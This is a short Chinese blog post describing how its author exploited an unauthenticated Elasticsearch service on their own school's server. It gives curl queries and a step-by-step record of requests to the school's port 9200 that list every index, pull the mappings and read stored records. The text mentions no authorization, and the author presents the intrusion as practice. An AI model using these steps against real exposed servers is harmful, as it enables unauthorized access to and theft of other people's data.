最近在拿自己学校练手,发现了一个Elasticsearch未授权访问漏洞,然后就边学习边去尝试利用这个漏洞。
Elasticsearch服务普遍存在一个未授权访问的问题,攻击者通常可以请求一个开放9200或9300的服务器进行恶意攻击。
基础知识
要利用这个漏洞,最重要的就是查看数据,下面是elasticsearch基本的查询方法
2.1 查询所有的 index, type:
$ curl localhost:9200/_search?pretty=true
2.2 查询某个index下所有的type:
$ curl localhost:9200/films/_search
2.3 查询某个index 下, 某个 type下所有的记录:
$ curl localhost:9200/films/md/_search?pretty=true
2.4 带有参数的查询:
$ curl localhost:9200/films/md/_search?q=tag:good
{"took":7,"timed_out":false,"_shards":{"total":5,"successful":5,"failed":0},"hits":{"total":2,"max_score":1.0,"hits":[{"_index":"film","_type":"md","_id":"2","_score":1.0, "_source" :
{ "name":"hei yi ren", "tag": "good"}},{"_index":"film","_type":"md","_id":"1","_score":0.30685282, "_source" :
{ "name":"ma da jia si jia", "tag": "good"}}]}}
2.5 使用JSON参数的查询: (注意 query 和 term 关键字)
$ curl localhost:9200/film/_search -d '
{"query" : { "term": { "tag":"bad"}}}'
实战记录
1,直接访问该ip的9200端口,如下:
2,
http://ip:9200/_cat/indices
获取所有的index
3,
http://ip:9200/_mapping?pretty=true
获取index下的所有type
4,
http://ip:9200/pv_fun_all/school/_search?pretty=true
获取该index下该type下的内容
很显然这里并没有什么重要的数据,不过技术掌握了就好!
参考链接:
elasticsearch的基本用法:https://blog.51cto.com/feelmanc/1250430